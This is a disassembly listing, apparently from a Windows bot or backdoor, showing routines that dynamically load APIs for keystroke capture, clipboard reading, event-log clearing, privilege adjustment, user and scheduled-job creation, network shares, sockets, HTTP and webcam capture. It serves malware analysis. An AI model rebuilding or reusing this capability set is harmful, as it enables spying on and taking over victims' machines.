; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
nop
call near ptr 2680972h
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26B0000h
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
nop
call near ptr 2680972h
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
nop
call near ptr 2680972h
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
nop
call near ptr 2680972h
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB8FC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call near ptr 2680972h
nop
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call near ptr 2680972h
nop
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
nop
call near ptr 2680972h
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
nop
call near ptr 2680972h
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
nop
call near ptr 2680972h
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
nop
call near ptr 2680972h
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
nop
call near ptr 2680972h
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call near ptr 2680972h
nop
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA10, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
call near ptr 2680972h
nop
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
nop
call near ptr 2680972h
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: ___:0043320Co
; ___:00433250o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6C4
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
